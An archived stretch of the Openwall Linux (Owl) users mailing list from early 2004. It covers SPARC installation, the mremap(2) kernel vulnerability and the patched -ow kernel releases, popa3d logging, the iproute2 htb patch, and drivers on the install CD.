Message-ID: <20040215032454.GA19884@private>
References: <112587833.20040214185658@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <112587833.20040214185658@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-390-jwa=jammed.com@private
X-Spam-Status: No, hits=-36.2 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Sat, Feb 14, 2004 at 06:56:58PM +0500, Semyon Novikov wrote:
> What linux distro you can advise to compile Owl on sparc.

Why compile Owl off another distro?

You do need another distro to install from on SPARC as we currently
don't have bootable ISO images for SPARC.  For that purpose, RH 6.2 is
known to work, but almost any other Linux distro you might have installed
should work as well.  Only rpm2cpio and some GNU tools should be needed.

Once you get Owl installed in this way (from the binary packages we
distribute), you can also rebuild it from source.  But you don't have to.

> And when i can find them?

Any time you like. ;-)

> Little lama quastion :)
> How i can fetch mail in Owl? I can't find fetchmail or
> grepmail in distro.

There's no fetchmail included and I don't even know what grepmail is.

The mutt package on Owl includes POP3 and IMAP client functionality.

Alternatively, you can of course install fetchmail or anything else
you like, at your own responsibility.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-391-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i1IFBOb04060
	for <jwa@private>; Wed, 18 Feb 2004 07:11:24 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 5766570
	for <jwa@private>; Wed, 18 Feb 2004 07:11:19 -0800 (PST)
Received: (qmail 837 invoked by uid 550); 18 Feb 2004 15:10:27 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 828 invoked from network); 18 Feb 2004 15:10:26 -0000
Message-Id: <s0332d3a.035@private>
X-Mailer: Novell GroupWise Internet Agent 6.5.1 
Date: Wed, 18 Feb 2004 09:15:24 -0600
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: New mremap vulnerability
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owl-users-return-391-jwa=jammed.com@private
X-Spam-Status: No, hits=-6.4 required=5.0
	tests=BAYES_10,KNOWN_MAILING_LIST
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi SD,
	After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
patches are not affected by this latest mremap security bug.  Can you
confirm this?  In fact, it looks like the code from the Openwall kernel
patches in 2.4.25.

Thanks,
Steve Bremer
NEBCO, Inc.
System & Security Administrator
Return-Path: <owl-users-return-392-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i1IFi2b05322
	for <jwa@private>; Wed, 18 Feb 2004 07:44:02 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 5551E70
	for <jwa@private>; Wed, 18 Feb 2004 07:43:55 -0800 (PST)
Received: (qmail 3885 invoked by uid 550); 18 Feb 2004 15:43:27 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 3876 invoked from network); 18 Feb 2004 15:43:26 -0000
Date: Wed, 18 Feb 2004 18:42:19 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: New mremap vulnerability
Message-ID: <20040218154219.GA16919@private>
References: <s0332d3a.035@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <s0332d3a.035@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-392-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.4 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Wed, Feb 18, 2004 at 09:15:24AM -0600, Steve Bremer wrote:
> 	After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
> that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
> patches are not affected by this latest mremap security bug.  Can you
> confirm this?  In fact, it looks like the code from the Openwall kernel
> patches in 2.4.25.

Confirmed.

I don't know why Paul chose to not mention it in his Bugtraq announcement,
he was aware that 2.4.23-ow2+ has this fixed.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-393-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i1IFpgb05682
	for <jwa@private>; Wed, 18 Feb 2004 07:51:42 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 902DE70
	for <jwa@private>; Wed, 18 Feb 2004 07:51:39 -0800 (PST)
Received: (qmail 4767 invoked by uid 550); 18 Feb 2004 15:51:17 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 4755 invoked from network); 18 Feb 2004 15:51:16 -0000
Message-Id: <s03336e0.054@private>
X-Mailer: Novell GroupWise Internet Agent 6.5.1 
Date: Wed, 18 Feb 2004 09:56:16 -0600
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: Re: New mremap vulnerability
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owl-users-return-393-jwa=jammed.com@private
X-Spam-Status: No, hits=-10.4 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Excellent.  Thanks Solar, you save me from another day or two of the
build/test/patch cycle.

Steve Bremer
NEBCO, Inc.
System & Security Administrator

>>> solar@private 02/18/2004 9:42:19 AM >>>
On Wed, Feb 18, 2004 at 09:15:24AM -0600, Steve Bremer wrote:
> 	After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
> that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
> patches are not affected by this latest mremap security bug.  Can
you
> confirm this?  In fact, it looks like the code from the Openwall
kernel
> patches in 2.4.25.

Confirmed.

I don't know why Paul chose to not mention it in his Bugtraq
announcement,
he was aware that 2.4.23-ow2+ has this fixed.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D
3598
http://www.openwall.com - bringing security into open computing
environments
Return-Path: <owl-users-return-394-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i1ILjub23501
	for <jwa@private>; Wed, 18 Feb 2004 13:45:56 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 52B3570
	for <jwa@private>; Wed, 18 Feb 2004 13:45:53 -0800 (PST)
Received: (qmail 27951 invoked by uid 550); 18 Feb 2004 21:45:30 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 27943 invoked from network); 18 Feb 2004 21:45:29 -0000
From: "Bill Jaeger" <wlj@private>
To: <owl-users@private>
Subject: RE: New mremap vulnerability
Date: Wed, 18 Feb 2004 16:45:28 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
In-Reply-To: <20040218154219.GA16919@private>
Importance: Normal
Disposition-Notification-To: "Bill Jaeger" <wlj@private>
Message-Id: <20040218214553.52B3570@private>
Sender: owl-users-return-394-jwa=jammed.com@private
X-Spam-Status: No, hits=-25.2 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      PRIORITY_NO_NAME,QUOTED_EMAIL_TEXT,REPLY_WITH_QUOTES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)


On Wed, Feb 18, 2004 at 10:42:19AM -0500, Solar Designer wrote:
> On Wed, Feb 18, 2004 at 09:15:24AM -0600, Steve Bremer wrote:
> > 	After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
> > that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
> > patches are not affected by this latest mremap security bug.  Can you
> > confirm this?  In fact, it looks like the code from the Openwall kernel
> > patches in 2.4.25.
>
> Confirmed.
>
> I don't know why Paul chose to not mention it in his Bugtraq announcement,
> he was aware that 2.4.23-ow2+ has this fixed.

Are those of us running linux-2.2.25-ow1 (w/ -HAP extensions) vulnerable to
the latest mremap(2) security hole?  If so, does anyone know of a patch that
closes this hole under 2.2.25?

Thanks,
-Bill
Return-Path: <owl-users-return-395-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i1J36mb06082
	for <jwa@private>; Wed, 18 Feb 2004 19:06:48 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 2FB7770
	for <jwa@private>; Wed, 18 Feb 2004 19:06:45 -0800 (PST)
Received: (qmail 10313 invoked by uid 550); 19 Feb 2004 03:06:15 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 10305 invoked from network); 19 Feb 2004 03:06:14 -0000
Date: Thu, 19 Feb 2004 06:05:13 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: New mremap vulnerability
Message-ID: <20040219030513.GA17672@private>
References: <20040218154219.GA16919@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-395-jwa=jammed.com@private
X-Spam-Status: No, hits=-36.2 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Wed, Feb 18, 2004 at 04:45:28PM -0500, Bill Jaeger wrote:
> On Wed, Feb 18, 2004 at 10:42:19AM -0500, Solar Designer wrote:
> > On Wed, Feb 18, 2004 at 09:15:24AM -0600, Steve Bremer wrote:
> > > 	After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
> > > that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
> > > patches are not affected by this latest mremap security bug.  Can you
> > > confirm this?  In fact, it looks like the code from the Openwall kernel
> > > patches in 2.4.25.
> >
> > Confirmed.
> >
> > I don't know why Paul chose to not mention it in his Bugtraq announcement,
> > he was aware that 2.4.23-ow2+ has this fixed.
> 
> Are those of us running linux-2.2.25-ow1 (w/ -HAP extensions) vulnerable to
> the latest mremap(2) security hole?

There's been some mis-communication between me and Paul on that,
unfortunately.  For the time being, you should assume that, yes, 2.2.x
is affected (although the exploit has to be different).

> If so, does anyone know of a patch that closes this hole under 2.2.25?

The obvious temporary workaround is to disable mremap() syscall (by
patching kernel sources or by patching sys_call_table[] from a kernel
module).

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-396-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i1M3kgb27045
	for <jwa@private>; Sat, 21 Feb 2004 19:46:42 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 2813370
	for <jwa@private>; Sat, 21 Feb 2004 19:46:34 -0800 (PST)
Received: (qmail 742 invoked by uid 550); 22 Feb 2004 03:45:48 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 728 invoked from network); 22 Feb 2004 03:45:47 -0000
Date: Sun, 22 Feb 2004 06:44:18 +0300
From: Solar Designer <solar@private>
To: announce@private, owl-users@private, lwn@private
Subject: Linux 2.4.25-ow1, 2.2.25-ow2
Message-ID: <20040222034418.GA10967@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-396-jwa=jammed.com@private
X-Spam-Status: No, hits=-13.5 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

Two Openwall Linux kernel patch updates have been released recently,
one is a simple update to Linux 2.4.25, the other is a second revision
of the patch for Linux 2.2.25 adding a number of kernel security bug
fixes.

As some of you are aware, a second local root vulnerability in the
mremap(2) system call has been discovered by Paul Starzetz and made
public on February 18.  This vulnerability affects Linux 2.4.x
kernels up to and including 2.4.24 (but not 2.4.25) and Linux 2.2.x
kernels up to and including 2.2.25.

Luckily, Linux 2.4.23-ow2 and 2.4.24-ow1 are not affected as these
patches already included a kernel bug fix which was later determined
to be security-critical and needed to avoid this second mremap(2)
system call vulnerability.  In fact, it's the exact same fix which
went into Linux 2.4.25.

Thus, upgrading of existing Linux 2.4.23-ow2 and 2.4.24-ow1 installs
to 2.4.25-ow1 is not strictly required for most users, although the
use of 2.4.25-ow1 is recommended over older versions for new installs.

We didn't have as much luck with Linux 2.2.x this time, and Linux
2.2.25-ow2 actually includes a workaround for this new mremap(2)
vulnerability.  It also includes the /dev/rtc information leak fix and
other minor fixes.  Upgrading of existing Linux 2.2.x installs is
strongly recommended.

As usual, the patches are available from:

	http://www.openwall.com/linux/

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-397-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i235mTT17935
	for <jwa@private>; Tue, 2 Mar 2004 21:48:30 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 64D5CE2
	for <jwa@private>; Tue,  2 Mar 2004 21:48:18 -0800 (PST)
Received: (qmail 4483 invoked by uid 550); 3 Mar 2004 05:47:40 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 4475 invoked from network); 3 Mar 2004 05:47:39 -0000
X-AV-Checked: Wed Mar  3 11:47:37 2004 "AVCHECK"
Date: Wed, 3 Mar 2004 11:47:55 +0600
From: Dmitriy Litovchin <dali@private>
Organization: NTP VTI
X-Priority: 3 (Normal)
Message-ID: <89890963.20040303114755@private>
To: owl-users@private
Subject: popa3d + syslog
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-397-jwa=jammed.com@private
X-Spam-Status: No, hits=-3.1 required=5.0
	tests=BAYES_20,KNOWN_MAILING_LIST,PRIORITY_NO_NAME
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi!

In current versions popa3d uses DAEMON facility to
log to SYSLOG. It is quite inconvinient, 'cause
by default, all DAEMON.* logging goes to /var/log/messages
and it is filled with popa3d's connection messages.
As for me, I changed the default log facility for popa3d
to UUCP. It may be useful for somebody - just to have
a way to remove all popa3d's talking from /var/log/messages
and to have it in single other place...

PS: OWL - great distro, thanks guys !!!

Best regards,
  Dmitriy Litovchin (LT137-RIPE)
  NTP VTI Ltd, a Business Technics Group company
  Omsk, Russia
phone (3812) 23-33-77, 23-52-77, 23-17-03
fax   (3812) 24-43-11
e-mail: dali@private
Return-Path: <owl-users-return-398-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i26FV7T06213
	for <jwa@private>; Sat, 6 Mar 2004 07:31:08 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id BBAE070
	for <jwa@private>; Sat,  6 Mar 2004 07:31:01 -0800 (PST)
Received: (qmail 18912 invoked by uid 550); 6 Mar 2004 15:30:18 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 18904 invoked from network); 6 Mar 2004 15:30:18 -0000
Subject: iproute2
From: Marcin Siennicki <m.siennicki@private>
To: owl-users@private
Content-Type: text/plain
Message-Id: <1078587015.4759.1.camel@private>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-9.1.aur.2) 
Date: Sat, 06 Mar 2004 16:30:15 +0100
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-398-jwa=jammed.com@private
X-Spam-Status: No, hits=-7.2 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,
may I ask why isn't htb patch applied by default?

Marcin
Return-Path: <owl-users-return-399-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i28KGJT05161
	for <jwa@private>; Mon, 8 Mar 2004 12:16:24 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id BB2E670
	for <jwa@private>; Mon,  8 Mar 2004 12:16:03 -0800 (PST)
Received: (qmail 16094 invoked by uid 550); 8 Mar 2004 20:15:21 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 16084 invoked from network); 8 Mar 2004 20:15:19 -0000
Date: Mon, 8 Mar 2004 22:15:08 +0200
From: Michail Litvak <mci@private>
To: owl-users@private
Subject: Re: iproute2
Message-ID: <20040308221508.A3701@private>
References: <1078587015.4759.1.camel@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1078587015.4759.1.camel@private>; from m.siennicki@private on Sat, Mar 06, 2004 at 04:30:15PM +0100
Sender: owl-users-return-399-jwa=jammed.com@private
X-Spam-Status: No, hits=-23.2 required=5.0
	tests=BAYES_01,IN_REP_TO,KNOWN_MAILING_LIST,REFERENCES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hello Marcin Siennicki! 

 Sat, Mar 06, 2004 at 04:30:15PM +0100, m.siennicki wrote about "iproute2": 

MS> Hi,
MS> may I ask why isn't htb patch applied by default?

Because it require 2.4.x kernel but Owl <= 1.1 support building himself on 2.2.x kernel.
In Owl-current we will drop support building on 2.2.x kernels and include htb patch. 

CU!
--
//ShaD0w
Return-Path: <owl-users-return-400-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i29K1ZT12478
	for <jwa@private>; Tue, 9 Mar 2004 12:01:35 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id C8A7C70
	for <jwa@private>; Tue,  9 Mar 2004 12:01:31 -0800 (PST)
Received: (qmail 21942 invoked by uid 550); 9 Mar 2004 20:00:55 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 21934 invoked from network); 9 Mar 2004 20:00:54 -0000
Subject: modules on the CD - yet another question
From: Marcin Siennicki <m.siennicki@private>
To: owl-users@private
Content-Type: text/plain
Message-Id: <1078862452.4257.298.camel@private>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-9.1.aur.2) 
Date: Tue, 09 Mar 2004 21:00:52 +0100
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-400-jwa=jammed.com@private
X-Spam-Status: No, hits=-7.2 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi again,
this time I'm asking why there are no device drivers
(for SCSI controllers, NICs,...) on the CD?
I believe many people cannot install Owl with just
Owl CD, they are to use another linux installation
to mount Owl CD, destination volumes, then chroot,
etc...
Example: VMware. One need to complie BusLogic module
on the "real" host, and then scp it into VM.

Marcin.
Return-Path: <owl-users-return-401-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2BMIHT12830
	for <jwa@private>; Thu, 11 Mar 2004 14:18:17 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id DCA3770
	for <jwa@private>; Thu, 11 Mar 2004 14:18:12 -0800 (PST)
Received: (qmail 24751 invoked by uid 550); 11 Mar 2004 22:17:21 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 24743 invoked from network); 11 Mar 2004 22:17:20 -0000
Date: Fri, 12 Mar 2004 01:13:53 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: modules on the CD - yet another question
Message-ID: <20040311221353.GA635@private>
References: <1078862452.4257.298.camel@private> <40503A7F.79D927FA@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <40503A7F.79D927FA@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-401-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.2 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

> Marcin Siennicki wrote to owl-users@private:
> > this time I'm asking why there are no device drivers
> > (for SCSI controllers, NICs,...) on the CD?

There're quite some drivers compiled right into the kernel image, for
both SCSI controllers and NICs.

There're no SCSI drivers built as modules and supplied on the CD
because if we do build a disk controller driver, it better be
available right before the CD drive is first accessed by the kernel
(the CD drive may be on that controller too!)  So all the SCSI drivers
for "common enough" controllers are currently compiled in.

As for NICs, yes, we could supply some pre-built drivers besides those
compiled into the kernel (although, again, most common ones are in
there).  But there's nothing which prevents you from doing the same
once you have booted off the CD already.

> > I believe many people cannot install Owl with just
> > Owl CD, they are to use another linux installation
> > to mount Owl CD, destination volumes, then chroot,
> > etc...

Well, the only case where that is really required is if we're missing
a disk controller driver.  And, as I have mentioned above, simply
building the driver as module and including it on the CD is not a
complete solution.

On Thu, Mar 11, 2004 at 01:07:59PM +0300, gremlin wrote:
> Sure, having the 1.4 MB for El Torito CD boot image, we are able to put
> there a really "fat" bzipped kernel,

And we already do!  The current 2.4.x kernel images used on boot CDs
barely fit in the 1.44 MB floppy image (along with LILO).

We already had to drop some potentially useful stuff from default
kernels on the CDs (most notably, PCMCIA and USB support) when moving
from 2.2.x to the bigger 2.4.x kernels, also adding support for ext3.

There's really no room to add many more drivers with the current
approach.  Well, maybe if we switch to using 2.88 MB "floppies", but
that would kill support for systems which can't boot off a CD and
actually require one to produce a boot floppy.

> which could carry in support for all necessary (at least frequently
> used) hardware. Most of such modules can be compiled into the kernel,

It's this way presently.

> some (conflicting like 3COM 3c5x9 and 3c90x)

I'm not sure you're correct about this pair of drivers.  CONFIG_EL3
(for 3c509) and CONFIG_VORTEX (for 3c59x and 3c90x) may both be
enabled at the same time, -- and are enabled on the Owl 1.1 CDs.

> have to be built as
> external modules - but they are really needed on the installation CD.

Well, yes, it could be somewhat helpful to have some extra modules
pre-built.

A better approach might be to move all the disk controller drivers
into the 1.44 MB floppy image (either compile them into the kernel
like we do now or start using initrd), but to make that possible at
the same time remove all non-essential non-disk drivers and even
entire kernel subsystems into modules available only on the CD (not in
the floppy image).  This will require more documentation and/or helper
programs to load the necessary modules when booting off the CD.

> 2 Solar: I suspect this is a good thing to do in Owl-1.2-release...

There're many good things to do...

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-402-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i2BMpqT14900
	for <jwa@private>; Thu, 11 Mar 2004 14:51:52 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 04FB770
	for <jwa@private>; Thu, 11 Mar 2004 14:51:45 -0800 (PST)
Received: (qmail 27282 invoked by uid 550); 11 Mar 2004 22:51:14 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Delivered-To: moderator for owl-users@private
Received: (qmail 26821 invoked from network); 11 Mar 2004 22:45:51 -0000
